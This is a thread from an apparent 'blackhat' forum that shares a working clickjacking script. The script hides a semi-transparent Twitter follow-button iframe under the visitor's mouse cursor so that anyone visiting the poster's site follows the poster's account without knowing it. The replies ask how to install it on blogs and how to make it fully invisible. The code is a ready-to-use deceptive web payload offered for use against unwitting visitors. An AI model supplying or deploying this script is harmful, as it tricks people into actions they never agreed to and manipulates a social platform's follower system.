Best Blackhat Forum

Full Version: [GET] [Script] Twitter Clickjacking
You're currently viewing a stripped down version of our content. View the full version with proper formatting.
This script will make whoever visits your site automatically follow you on twitter, without them knowing.
All you have to do is change "your_username" (end of second line) to your username.

Code:
Magic Button :

<iframe class="twitter-follow-button" allowtransparency="true" frameborder="0" scrolling="no"
src="http://platform.twitter.com/widgets/follow_button.html?screen_name=your_username"
style="width:75px; height:20px;">
</iframe>

<script>
if (!document.getElementsByClassName){
document.getElementsByClassName = function(classname){
for (i=0; i<document.getElementsByTagName("*").length; i++)
{
if (document.getElementsByTagName("*").item(i).className == classname){
return new Array(document.getElementsByTagName("*").item(i));
}
}
}
}

var twitterFollowIframe = document.getElementsByClassName('twitter-follow-button')[0];
twitterFollowIframe.style.position = 'absolute';
twitterFollowIframe.style.opacity = '0.2';
twitterFollowIframe.style.filter = 'alpha(opacity=20)';
//twitterFollowIframe.style.width = '110px';

/*
// cross domain restriction won't allow this
twitterFollowIframe.onload = function() {
twitterFollowIframe.contentWindow.scrollTo(20, 0);
}
*/

document.onmousemove = function(e){
if ( !e ) e = window.event;
twitterFollowIframe.style.left = e.clientX - 20;
twitterFollowIframe.style.top = e.clientY - 10;
}
</script>

This is not fully hidden



SOURCE:

http://etechforum.com/showthread.php?tid=589
Can it be used in blogspot also?
Thanks for the share, but you do have to click the referral link to get full script.
thanks for the share, but where do we put this code? Sorry not so techie
Thanks, how to make fully hidden?
Thanks for the share, but where do we put this code???? Plz Guide me.i have a WP Site.
Reference URL's